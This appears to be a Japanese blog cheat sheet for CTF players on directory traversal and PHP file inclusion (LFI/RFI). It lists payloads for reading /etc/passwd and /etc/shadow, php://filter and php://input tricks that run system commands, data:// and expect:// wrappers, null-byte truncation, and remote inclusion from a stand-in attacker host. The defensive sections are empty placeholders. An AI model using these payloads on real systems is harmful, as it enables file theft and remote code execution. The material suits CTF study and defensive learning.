はまやんはまやんはまやん

hamayanhamayan's blog

Webセキュリティにおけるディレクトリトラバーサル問題への傾向と対策 [LFI, RFI]

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

ディレクトリトラバーサルとは

サーバ側でのファイルアクセス時にユーザー入力によって意図せぬパスへアクセスされてしまう脆弱性の総称。
LFI,RFIといったファイルインクルージョンもこの脆弱性に入る。

攻撃シナリオ

例えばget.php?file=image.jpgという風にファイルを取得するエンドポイントがあったとする。
この場合に適切に処理を行っていないと、get.php?file=/etc/passwdと書くことで任意のファイルを抜き出すことができてしまう。

攻撃ペイロード

get.php?file=[file]に入れるペイロード

  • /etc/passwd ルートディレクトリ指定ができるかも
  • ../etc/passwd, ../../etc/passwd ルートディレクトリ指定できなくても../を増やしていき、表示できるか探せばいい
  • php://filter/convert.base64-encode/resource=index.php

テク

便利プロトコル

  • php
    • php://filter/convert.base64-encode/resource=index.php よく使う。base64した状態でresourceのファイルを出力される
    • php://filter/resource=index.php こうすると、base64せず普通の状態でファイル出力される
    • php://input
      • これを書いて、POSTで<?php system("ls -la ./"); ?>を送ると、POSTデータをinclusionできる。RFIっぽいけど、厳密にはどうなんだろう
    • 他にも色々ある PHPがサポートするURLスキームを調査する - Ryoto's Blog
  • data
    • dataプロトコルを使うと、ファイルを直接入れ込むことができる
    • data://text/plain,<?php%20print_r(scandir(%27./%27));
    • data:text/plain,base64,[base64] base64にして埋め込むことも可能
  • expect
    • expect://ls 使えたことがないけど、こういうこともできるらしい
  • http
    • http:/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a
      • こういう記法もあるっぽい?ローカルファイルを取得するのと同じ
    • 普通にどっかのサーバにファイルを上げて、http://attacker-server.example.com/evil.phpとかしてRFIできる問題もある
  • file

Nullバイト攻撃

例えば、ファイル名を受け取って末尾に.txtを付けて取ってくるという処理がある。
この時に、任意のファイル名を入力するが、末尾には.txtを付けたくないという場面がある。
この時に、\0を末尾に付ければ、それ以降の文字列が無視されて、.txtも無視できる脆弱性がある。
URLエンコーディングで%00を末尾に付ければいい。

どういう言語のどういう関数で成立するかは要調査だが、phpの一部関数では成立する。

フィルタリングのバイパス

入力値にフィルタリングを施して、ディレクトリトラバーサルを回避している場合がある。
一部は以下でバイパス可能。

言語毎

読み取りディレクトリ先

  • /etc
    • /etc/passwd いつもの
    • /etc/shadow
    • /etc/apache2
      • /etc/apache2/apache2.conf apache設定ファイル
  • /proc
    • /proc/self
      • /proc/self/maps メモリマップを確認
      • /proc/self/mem 実際のメモリへのシンボリックリンク
  • /var/www/html

こうやると、メモリ情報も抜けるっぽい

  • /proc/self/mapsでメモリマップを確認できる
  • /proc/self/memで実際のメモリにアクセスできる
  • /proc/self/mapsで怪しいメモリアドレスを特定して、/proc/self/memのその部分を持ってくる
  • ångstromCTF - LeetTube

WAFについて(ついでにミドルウェア部分の攻撃テクも)

Web Application Firewallによってディレクトリトラバーサルが抑制されている場合がある。
リクエストは「ユーザー → WAF → アプリ」と流れていき、WAFでリクエストを止めていたりする。

nginx

CTF Writeups

Practicalな話

実装時に気を付けること

工事中

(CTFじゃ使えないけど)テストツール

工事中